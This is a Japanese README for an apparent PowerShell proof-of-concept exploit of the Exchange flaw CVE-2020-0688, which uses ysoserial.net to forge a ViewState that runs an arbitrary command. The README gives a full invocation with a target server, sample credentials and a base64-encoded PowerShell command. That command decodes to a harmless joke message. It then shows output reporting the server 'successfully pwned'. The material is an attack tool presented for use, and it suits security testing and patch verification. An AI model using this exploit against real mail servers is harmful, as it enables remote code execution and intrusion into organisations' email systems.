
PowerShell で書かれた Forgot2kEyXCHANGE (CVE-2020-0688) の PoC
Forgot2kEyXCHANGE (CVE-2020-0688) の PoC(概念実証)を PowerShell で記述
この PoC は有効なユーザー名とパスワードを必要とします。
この PoC は ysoserial.net を使用して、-Command パラメーターで指定したコマンドを含む新しい ViewState を作成します。 このツールがシステムにインストールされていない場合は、こちら からダウンロードしてください。
PS> . .\PSForgot2kEyXCHANGE.ps1
PS> Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User '[email protected]' -Password 'Summer2020!' -Command 'cmd /c powershell.exe -en dwByAGkAdABlAC0AaABvAHMAdAAgACcASQAnAG0AIABhACAAcwB0AGkAbgBrAHkAIABzAGsAaQBkACAAdwBoAG8AIAByAHUAbgBzACAAcgBhAG4AZABvAG0AIABjAG8AZABlACAAOgApACcA=' -YsoserialPath 'C:\tools\ysoserial.net\ysoserial.exe'
[+] Login successfully!
[+] Generated new ViewState successfully!
[+] Got a 500 response, successfully pwned https://webmail.domain.tld !
気軽に Issue を開いたり、コントリビュートしたり、プルリクエストを送信してください。また、Twitter (@JustinPerdok) で私に連絡することもできます。